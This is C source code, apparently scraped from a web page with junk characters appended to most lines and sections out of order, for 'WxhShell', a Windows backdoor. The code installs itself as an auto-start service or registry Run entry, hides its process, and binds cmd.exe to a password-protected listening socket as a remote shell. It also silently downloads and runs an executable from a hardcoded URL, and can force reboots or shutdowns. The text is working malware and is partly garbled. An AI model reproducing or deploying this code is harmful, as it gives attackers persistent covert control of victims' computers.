    if(Boot(SHUTDOWN)) H'0J1\ h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v#AO\zYKd  
    else { 'amex  
    closesocket(wsh); w4&v( m  
    ExitThread(0); U:5*i  
    } L>R!A3G1  
    break; ,y{fqa4  
    } Nr*ibtz|D  
  // 获取shell , K"2tb  
  case 's': { 0UAr}H.:  
    CmdShell(wsh); :XZJxgx  
    closesocket(wsh); (x*2BEn|  
    ExitThread(0); (}7o a9Q<  
    break; f*R_\  
  } ,~68~_)  
  // 退出 TJGKQyG$L  
  case 'x': { d'eM(4R@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oR%E_g?mI~  
    CloseIt(wsh); ^/RM;`h0  
    break; 7E84@V[\  
    } ywa.cq  
  // 离开 eC1c`@C:  
  case 'q': { ysP/@;jC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }X.8.S'  
    closesocket(wsh); CEJG=*3  
    WSACleanup(); y`P7LC  
    exit(1); $AJy^`E^  
    break; I]S(tx!  
        } looPO:bo^  
  } UVuuIW0k  
  } 0O 9 Lg}  
M`g Kt (3  
  // 提示信息 ,;- cz-,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z~R/ p;@  
} ki/Lf4  
  } fVe-esAw  
sC*E;7gT,  
  return; [}g5Z=l  
} .dq.F#2B;  
5<'Jd3N{&  
// shell模块句柄 MyR\_)P?  
int CmdShell(SOCKET sock) <P)%Ms  
{ orN2(:Ct7  
STARTUPINFO si; FU3IK3}  
ZeroMemory(&si,sizeof(si)); <8}9s9Nk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T)?@E/VaS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WlJRKM2  
PROCESS_INFORMATION ProcessInfo; ^L2Zo'y [  
char cmdline[]="cmd"; ="PywZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lm2cW$s  
  return 0; 3n"&$q6  
} j1C0LP8  
9bYHb'70  
// 自身启动模式 Boz_*l|  
int StartFromService(void) O9 r44ww  
{ OaVL NA^{  
typedef struct <@2?2l+`X  
{ /?<9,7#i  
  DWORD ExitStatus; Sf8Xj |u  
  DWORD PebBaseAddress; 63\>MQcLy  
  DWORD AffinityMask; ,kuFTWB  
  DWORD BasePriority; ="*C&wB^  
  ULONG UniqueProcessId; \fGYJ37  
  ULONG InheritedFromUniqueProcessId; 9#ay(g  
}   PROCESS_BASIC_INFORMATION; >L3p qK   
S6Xw+W02  
PROCNTQSIP NtQueryInformationProcess; S)1:*>@  
@n y{.s+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +hYmL Sq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '3 ,JL!  
-cS4B//IK8  
  HANDLE             hProcess; `>HthK  
  PROCESS_BASIC_INFORMATION pbi; Wa<NId  
t"m`P1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?q8g<-?  
  if(NULL == hInst ) return 0; R(#;yn  
KuAGy*:4T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /]UNN~(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kUBHK"}K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LA(JA  
G5@@m-  
  if (!NtQueryInformationProcess) return 0; e5y`CXX  
1;sAt;/W8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tl{r D(D  
  if(!hProcess) return 0; 0{@Ovc  
M%LwC/h:,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R1rfp;   
p_ y*-,W (  
  CloseHandle(hProcess); x{w?X.Nt  
ph.:~n>z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $B N+SD!  
if(hProcess==NULL) return 0; (9QRg;   
~w% +y  
HMODULE hMod; w9}IM149  
char procName[255]; W..>Ny;'3  
unsigned long cbNeeded; Ji:@z%osr  
2{qG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k0=y_7 =(5  
) x $Vy=  
  CloseHandle(hProcess); YtKX\q^.  
7"U,N;y  
if(strstr(procName,"services")) return 1; // 以服务启动 xL#oP0d<e  
0([jD25J!  
  return 0; // 注册表启动 9Ei#t FMc  
} nmAXU!t'  
^OsUWhkV  
// 主模块 =I3U.^ :  
int StartWxhshell(LPSTR lpCmdLine) BuO J0$  
{ ^@cX0_  
  SOCKET wsl; 5q*~h4=r7  
BOOL val=TRUE; N>iCb:_ T;  
  int port=0; D($UbT-v  
  struct sockaddr_in door; )W#g@V)>  
p 5w g+K  
  if(wscfg.ws_autoins) Install(); 4& WzG nK  
_Xe< JJvq  
port=atoi(lpCmdLine); ^W*)3;5  
FX%E7H  
if(port<=0) port=wscfg.ws_port; :jCaDhK  
JG$J,!.\  
  WSADATA data; vIv3rN=5vB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6XqO' G  
JH, +F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T 0C'$1T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,o6:  V]a  
  door.sin_family = AF_INET; K~N[^pF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H*<dte<  
  door.sin_port = htons(port); U}TQXYAg  
wYM{x!D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J~6*d,Ry`  
closesocket(wsl); NX/)Z&Fx:  
return 1; }e|]G,NZO  
} ` &DiM@Sm  
;f*xOdi*k  
  if(listen(wsl,2) == INVALID_SOCKET) { ~|]\. ^B  
closesocket(wsl); w N.Jyb  
return 1; Ee| y[y,  
} $^GnY7$!>  
  Wxhshell(wsl); 8`<GplO  
  WSACleanup(); :RG6gvz  
$9$NX/P  
return 0; TR7TF]itb  
$l0w{m!P  
} EPfVS  
,\"gN5[$(  
// 以NT服务方式启动 J> |`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~0:c{v;4  
{ n\,W:G9AR7  
DWORD   status = 0; X^)5O>>|t  
  DWORD   specificError = 0xfffffff; Ue%5 :Sdr  
]>j_ Y ,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -': tpJk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QJ'C?hn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; YkbLf#2AE|  
  serviceStatus.dwWin32ExitCode     = 0; u{^Kyo#v  
  serviceStatus.dwServiceSpecificExitCode = 0; o^J&c_U\3'  
  serviceStatus.dwCheckPoint       = 0; {%dQV#'c  
  serviceStatus.dwWaitHint       = 0; "=O)2}  
\6L=^q=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P40eK0 e6  
  if (hServiceStatusHandle==0) return; S d -+a  
*8+YR  
status = GetLastError(); ru Lcu]  
  if (status!=NO_ERROR) }Qo8Xps  
{ /GNYv*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gd 9B  
    serviceStatus.dwCheckPoint       = 0; C\K--  
    serviceStatus.dwWaitHint       = 0; =$J2  
    serviceStatus.dwWin32ExitCode     = status; S6I8zk)Z4  
    serviceStatus.dwServiceSpecificExitCode = specificError; >^}z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~{{:-XkVB  
    return; m5*RB1  
  } ~CscctD{;  
GW#Wy=(_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z9ZAY!Zhq]  
  serviceStatus.dwCheckPoint       = 0; irS62Xe  
  serviceStatus.dwWaitHint       = 0; -0Ek&"=Z^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6cvm\ opH  
} 4kEFbzwx  
^~$ o-IX  
// 处理NT服务事件,比如:启动、停止 L|Iq#QX|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d)HK9T|B  
{ FB`HwE<  
switch(fdwControl) Ek6W:Q:@  
{ 8 B5%IgA  
case SERVICE_CONTROL_STOP: c+c^F/  
  serviceStatus.dwWin32ExitCode = 0; Uyh#g^r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VdgPb (  
  serviceStatus.dwCheckPoint   = 0; 7BnP,Nd"W  
  serviceStatus.dwWaitHint     = 0; {DR+sE  
  { b6ddXM\Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9#7z jrB  
  } ~gD'up@$/  
  return; V8/o@I{U[  
case SERVICE_CONTROL_PAUSE: nEYJ?_55  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bC|~N0b  
  break; ?CC6/bE-{  
case SERVICE_CONTROL_CONTINUE: t+tGN\q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OZD/t(4?6s  
  break; pOXEM1"2A  
case SERVICE_CONTROL_INTERROGATE: W*2SlS7  
  break; ' wEP:}  
}; ]n_A~Y r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wl4yNC  
} S/|8' x{<  
eAj}/2y"  
// 标准应用程序主函数 D3OV.G]`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @\a- =  
{ idq= US  
QK\z-'&n  
// 获取操作系统版本 * gnL0\*  
OsIsNt=GetOsVer(); P'+*d#*S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~F-,Q_|-  
>JhQ=j  
  // 从命令行安装 6{6tg>|L)  
  if(strpbrk(lpCmdLine,"iI")) Install(); %F7k| Na  
s] qfLC  
  // 下载执行文件 FpEdwzBb<  
if(wscfg.ws_downexe) { ur|2FS7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hI yfF  
  WinExec(wscfg.ws_filenam,SW_HIDE); %k~=iDk@  
} iDA`pemmi&  
/[p4. FL  
if(!OsIsNt) { ?w+T_EH  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hs9uDGWp  
HideProc(); RB!g,u  
StartWxhshell(lpCmdLine); Gu-Sv!4p  
} !Kis,e  
else DbDpdC;  
  if(StartFromService()) /i<g>*82  
  // 以服务方式启动 [3s~Z8 pP  
  StartServiceCtrlDispatcher(DispatchTable); nz(OHh!}u  
else ;AaF;zPV  
  // 普通方式启动 \n5,!,A  
  StartWxhshell(lpCmdLine); 8`D_"3j3g\  
[": x  
return 0; 3 f3?%9  
} Y 4U $?%j  
.*Z]0~ &|  
.IqS}Rh  
A 6d+RAx  
=========================================== *\/UT  
 : 2?du  
c~V\,lcI  
??F{Gli"C`  
#KIHq2:.4  
`c icjA@~  
" C-M op,w  
xc!"?&\*  
#include <stdio.h> \<5xf<{  
#include <string.h> o{qbbJBC  
#include <windows.h> B`vV[w?  
#include <winsock2.h> tNjrd}8s  
#include <winsvc.h> !`u)&.t7  
#include <urlmon.h> /N $T[  
rO C~U85  
#pragma comment (lib, "Ws2_32.lib") Dbgw )n*2  
#pragma comment (lib, "urlmon.lib") B>R6j}rh'k  
MKbW^:  
#define MAX_USER   100 // 最大客户端连接数 \oi=fu=}*  
#define BUF_SOCK   200 // sock buffer \ZC7vM"h  
#define KEY_BUFF   255 // 输入 buffer b@7 ItzD  
o,29C7Ii  
#define REBOOT     0   // 重启 *StJ5c_kg2  
#define SHUTDOWN   1   // 关机 -kJ`gdS  
8?PNyO-Wt5  
#define DEF_PORT   5000 // 监听端口 gw H6r3=y(  
=0Nd\  
#define REG_LEN     16   // 注册表键长度 ,QK>e;:Be  
#define SVC_LEN     80   // NT服务名长度 q|~9%Pujg  
EprgLZ1B  
// 从dll定义API $+tkBM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rIXAn4,dTv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @=$;^}JS|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VL\6U05Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); | 2mEowAd  
|')Z;  
// wxhshell配置信息 z2r{AQ.&  
struct WSCFG { kWgxswl7H  
  int ws_port;         // 监听端口 [j5L}e!T  
  char ws_passstr[REG_LEN]; // 口令 Uu G;z5  
  int ws_autoins;       // 安装标记, 1=yes 0=no N(D_*% 96  
  char ws_regname[REG_LEN]; // 注册表键名 mF "ctxE  
  char ws_svcname[REG_LEN]; // 服务名 ;&iQNXL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RsE+\)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y'(;!5w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K\uR=L7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6%)dsTAB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P? >p+dM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HH>]"mv  
/@0wbA  
}; .6r&<*  
[ z?<'Tj  
// default Wxhshell configuration 5R qkAC  
struct WSCFG wscfg={DEF_PORT, V97Eb>@  
    "xuhuanlingzhe", SA'  zy45  
    1, hse$M\5  
    "Wxhshell", !?]NMf_  
    "Wxhshell", E}~ GXG  
            "WxhShell Service", t/HE@xPxI5  
    "Wrsky Windows CmdShell Service", )jn xR${M  
    "Please Input Your Password: ", ,<%],-Lt[  
  1, O<fbO7.-  
  "http://www.wrsky.com/wxhshell.exe", 4/$]wK`  
  "Wxhshell.exe" 3^8%/5$v  
    }; xK /NzVt  
D{ c`H}/`  
// 消息定义模块 ibEQ52  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q")}vN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }E*#VA0/nY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wL~ dZ! ,J  
char *msg_ws_ext="\n\rExit."; uA,K}sNRZ  
char *msg_ws_end="\n\rQuit."; dqcfs/XhP  
char *msg_ws_boot="\n\rReboot..."; s@0#w*N  
char *msg_ws_poff="\n\rShutdown..."; r6"t`M  
char *msg_ws_down="\n\rSave to "; PX+$Us  
z1s9[5  
char *msg_ws_err="\n\rErr!"; x#U?~6.6  
char *msg_ws_ok="\n\rOK!"; WG9x_X&XJ  
B+,Z 3*  
char ExeFile[MAX_PATH]; 41$7P[M;  
int nUser = 0; [9X1;bO#f  
HANDLE handles[MAX_USER]; <wa}A!fu  
int OsIsNt; iB{O"l@w  
i,,UD  
SERVICE_STATUS       serviceStatus; nXXyX[c4e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >wZ!1Jq  
CJ?Lv2Td  
// 函数声明 \=1k29O  
int Install(void); =Bl#CE)X  
int Uninstall(void); UDhW Y.`'~  
int DownloadFile(char *sURL, SOCKET wsh); 5X'[{'i,  
int Boot(int flag); #k*e>d$  
void HideProc(void); fZ$8PMZv  
int GetOsVer(void); F8.Fp[_tM  
int Wxhshell(SOCKET wsl); Sa6}xe."M,  
void TalkWithClient(void *cs); jrG@ +" }  
int CmdShell(SOCKET sock); "|(+~8[  
int StartFromService(void); V 9][a  
int StartWxhshell(LPSTR lpCmdLine); // g~1(  
Vc}m_ T]O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CKyX  Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )~s(7 4`}  
os"o0?  
// 数据结构和表定义 Busxg?=  
SERVICE_TABLE_ENTRY DispatchTable[] = 5) nm6sf  
{ 1: XT r  
{wscfg.ws_svcname, NTServiceMain}, $yBU ,lu}  
{NULL, NULL} Mvu!  
}; :(N3s9:vz  
zN0^FXGD  
// 自我安装 yS %J$o&  
int Install(void) ^dld\t:tV7  
{ BNnGtVAbZ  
  char svExeFile[MAX_PATH]; 5l}v  
  HKEY key; 5e6f)[}  
  strcpy(svExeFile,ExeFile); skf7Si0z  
&dH/V-te  
// 如果是win9x系统,修改注册表设为自启动 y>UM~E  
if(!OsIsNt) { <T,vIXwu+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PH^AT<U:T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 W79  
  RegCloseKey(key); zvL;.U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]`b/_LJN$F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M1-n  
  RegCloseKey(key); Y7{IF X  
  return 0; K]1A,Q  
    } mY+J ju1  
  }  km|;T!  
} q{nNWvL  
else { /q0[T{Wz$  
M|w;7P}  
// 如果是NT以上系统,安装为系统服务 ]%!:'#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M| :wC  
if (schSCManager!=0) |L 11?{ K  
{ nRzD[ 3I  
  SC_HANDLE schService = CreateService %A|9=x*  
  ( F2saGpGH  
  schSCManager, R%=u<O  
  wscfg.ws_svcname, >,yE;zuw  
  wscfg.ws_svcdisp, tt $DWmm  
  SERVICE_ALL_ACCESS, 9@9(zUS|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !?,7Cu.5#6  
  SERVICE_AUTO_START, |@`F !bnLr  
  SERVICE_ERROR_NORMAL, d,tGW  
  svExeFile, C4Z}WBS(  
  NULL, 9nN$%(EO5;  
  NULL, _0 Qp[l-  
  NULL, 2v\,sHw+-  
  NULL, wM9HZraB<  
  NULL @GNNi?EY  
  ); i7 _Nv  
  if (schService!=0) 1RgtZp%  
  { D2z" Z@  
  CloseServiceHandle(schService); 7o_1PwKS6  
  CloseServiceHandle(schSCManager); j^-E,YMC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ry)g<OA  
  strcat(svExeFile,wscfg.ws_svcname); >4 4A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N_Q)AXr)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); P:,'   
  RegCloseKey(key);  >\6Tm  
  return 0; P/6$ T2k_  
    } SVB> 1s9F  
  } I]+xerVd  
  CloseServiceHandle(schSCManager); Wn6~x2LaV  
} aDce Ohfx  
} 6O"?wN%$  
|Ii[WfFA|J  
return 1; Aru=f~!  
} E%8Op{zv_  
v'na{"  
// 自我卸载 $a.fQ<,\X  
int Uninstall(void) k<(G)7'gm  
{ HI&N&a9C  
  HKEY key; xMsSZ{j%5  
(c AWT,  
if(!OsIsNt) { 50kjX}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gT8Q:8f:  
  RegDeleteValue(key,wscfg.ws_regname); z=%&?V  
  RegCloseKey(key); :59fb"^$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;\-f7!s  
  RegDeleteValue(key,wscfg.ws_regname); OCHjQc  
  RegCloseKey(key); Lu?MRF f  
  return 0; G%5bQ|O  
  } $23*:)&J4  
} W}jel}:  
} PIOG| E  
else { qw?#~"Ca.  
u-qwG/$E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eYNu78u   
if (schSCManager!=0) 6bPoC$<Z  
{ w1U2cbCr/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wzX(]BG  
  if (schService!=0) w(Jf;[o  
  { pV:;!+  
  if(DeleteService(schService)!=0) { E/+H~YzO  
  CloseServiceHandle(schService); VS` tj  
  CloseServiceHandle(schSCManager); QiO4fS'~W  
  return 0; ]rC2jB\,M  
  } $mgamWNE8w  
  CloseServiceHandle(schService); @2(7 ZxI  
  } [l# 8}dy  
  CloseServiceHandle(schSCManager); n92*:Y  
} 0n dk=V  
} .h c-uaL  
V Ioqn$  
return 1; 0SS,fs<w3  
} X;:qnnO  
>%6a$r~@  
// 从指定url下载文件 ]cQYSN7!SY  
int DownloadFile(char *sURL, SOCKET wsh) ({&\~"  
{ mv1g2f+  
  HRESULT hr; JJC Y M  
char seps[]= "/"; xD.Uh}:J  
char *token; X 8/9x-E_  
char *file; 2><=U7~  
char myURL[MAX_PATH]; /6fa 7;  
char myFILE[MAX_PATH]; X%X`o%AqC  
R;d)I^@  
strcpy(myURL,sURL); 0+3_CS++r  
  token=strtok(myURL,seps);  >;qAj!'  
  while(token!=NULL) = 1ltX+   
  { }^Ymg7wA  
    file=token; G.{)#cR  
  token=strtok(NULL,seps); qe/dWJBa  
  } LOO<)XFJ  
 {^8->V  
GetCurrentDirectory(MAX_PATH,myFILE); o,NTI h  
strcat(myFILE, "\\"); , B90r7K:  
strcat(myFILE, file); s8:-*VR9  
  send(wsh,myFILE,strlen(myFILE),0); P55QE+B  
send(wsh,"...",3,0); [k~}Fe) x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +jD*Jtb<  
  if(hr==S_OK) W _b!FQ]  
return 0; jK(]e iR$S  
else FH3^@@Y%  
return 1; VsU*yG a  
o|en"?4  
} /E %^s3S.  
g$/C-j4A[  
// 系统电源模块 Yq~$p Vgf  
int Boot(int flag) C(Cuk4K  
{ y@Gl'@-O  
  HANDLE hToken; 3*(w=;y  
  TOKEN_PRIVILEGES tkp; pLdZB9oD]C  
q9 S V<qg  
  if(OsIsNt) { ~7 w"$H8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kO3N.t@n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x& a<u@[wa  
    tkp.PrivilegeCount = 1; M7`iAa.}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B0+r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `*Ju0)g1  
if(flag==REBOOT) { 1Zo"Xb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8pXului  
  return 0; /LK,:6  
} 2%Mgg,/~  
else { $-w&<U$E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "7z1V{ ;Y  
  return 0; /_(q7:<ZF  
} w;p~|!  
  } alp}p  
  else { P:OI]x4  
if(flag==REBOOT) { q?##S'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $n#NUPzG+  
  return 0; ^]zC~LfG  
} ']&rPv kL  
else { zz m[sX}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dbsD\\,2%N  
  return 0; h uIvXl  
} vT=?UTq  
} k.n-JS  
}lQ`ka  
return 1; 4\Q pS  
} ix+sT|>  
0ZAT;eaB  
// win9x进程隐藏模块 <=Z`]8  
void HideProc(void) Jfs_9g5  
{ I xk+y?  
MszX9wl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); al1Nmc #  
  if ( hKernel != NULL ) hk.vBbhs  
  { o;"Phc.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PdD,~N#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ($T"m-e  
    FreeLibrary(hKernel); 7x''V5*j  
  } U6xs'0  
;&} rO.0  
return; ^Q9!DF m  
} Sg+0w7:2  
b[Qe} `W  
// 获取操作系统版本 WNO!6*+  
int GetOsVer(void) zDoh p 5,  
{ D!WyT`T  
  OSVERSIONINFO winfo; mmvo >F"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,!>1A;~wT  
  GetVersionEx(&winfo); ;) XB'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hs`j6yuc9  
  return 1; mx=2lL`  
  else xgq `l#  
  return 0; Wz+7CRpeP  
} x='T`*HD  
vrX@T ?>  
// 客户端句柄模块 [X^Oxs  
int Wxhshell(SOCKET wsl) I-L:;~.  
{ 0nsjihw  
  SOCKET wsh; iOrpr,@  
  struct sockaddr_in client; `Kb"`}`_vm  
  DWORD myID; [k{2)g  
b^^ .$Gu  
  while(nUser<MAX_USER) Q:^.Qs"IK  
{ c]PG5f xf  
  int nSize=sizeof(client); TfnBPO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I6vy:5d  
  if(wsh==INVALID_SOCKET) return 1; *-`-P  
[ BZA1,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <x[CL,Zg7  
if(handles[nUser]==0) ]9PQKC2&  
  closesocket(wsh); Me2qOc^Z-  
else sL!+&Id|  
  nUser++; ; S~  
  } oY<R[NYKu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '`sZo1x%f  
SUN!8 qFA  
  return 0; cnraNq1  
} EPiZe-  
nm#,oX2C  
// 关闭 socket 60z8U#upM  
void CloseIt(SOCKET wsh) hCpcX"wND  
{ 05 o vz   
closesocket(wsh); I[w;soI  
nUser--; vhd+A  
ExitThread(0); B>UF dj]-  
} {,+MaH  
3L^]J}|  
// 客户端请求句柄 @/W~lJ!e  
void TalkWithClient(void *cs) >m+Fm=  
{ Z/G?w D|B  
D^ )?*(  
  SOCKET wsh=(SOCKET)cs; !]C=5~B BI  
  char pwd[SVC_LEN]; 8)bqN$*h  
  char cmd[KEY_BUFF]; UUR+PfY  
char chr[1]; u3vM!  
int i,j; 9p4=iXfR  
7CDp$7v2  
  while (nUser < MAX_USER) { *O'`&J  
6olJ7`*  
if(wscfg.ws_passstr) { Pr'Ij  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EECuJ+T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2(i| n=  
  //ZeroMemory(pwd,KEY_BUFF); ?k$'po*Eq  
      i=0; y8j6ttQv=t  
  while(i<SVC_LEN) { RdqB^>X  
qV5l v-p  
  // 设置超时 hxZL/_n'  
  fd_set FdRead; 0s!';g Q  
  struct timeval TimeOut; de_%#k1:L  
  FD_ZERO(&FdRead); O)$Pvll  
  FD_SET(wsh,&FdRead); B+2E IaI  
  TimeOut.tv_sec=8; Xe2Zf  
  TimeOut.tv_usec=0; sR;u#".  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xv<K>i>k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ({0:1*lF@  
*CCh\+S7m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VT [TE  
  pwd=chr[0]; -?p4"[  
  if(chr[0]==0xd || chr[0]==0xa) { ]sZ! -q'8  
  pwd=0; Seh(G  
  break; ]Ns)fr 6  
  } xG WA5[YV  
  i++; 2D2} *);eW  
    } YkSHJ{ >  
x@3" SiC  
  // 如果是非法用户,关闭 socket nArG I}@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q 6n!u;  
} \b*z<Odv  
1) Nj.#)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #QNa| f#=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y.$Ae1a=  
8/k"A-m  
while(1) { t76B0L{  
^X;p8uBo  
  ZeroMemory(cmd,KEY_BUFF); 6aKfcvf &  
G@zJf)u}  
      // 自动支持客户端 telnet标准   fS$;~@p  
  j=0; :i>If:>g  
  while(j<KEY_BUFF) { HCw,bRxm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h + <Jv   
  cmd[j]=chr[0]; ckYT69U  
  if(chr[0]==0xa || chr[0]==0xd) { L+8{%\UPd  
  cmd[j]=0; *Wf Qi8  
  break; `\$EPUM  
  } MdDL?ev  
  j++; 5?q 6g  
    } Y94S!TbB  
#z+?t  
  // 下载文件 {zalfw{+  
  if(strstr(cmd,"http://")) { ;;|.qgxc~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4L_)@n}  
  if(DownloadFile(cmd,wsh)) zbI|3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZeqsXz  
  else E[cH/Rm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u|cP&^S  
  } !Ahxi);a  
  else { 14DhJUV"b  
c~+KrWbZ~  
    switch(cmd[0]) { )=VAEQhL-  
  L'w]O -86  
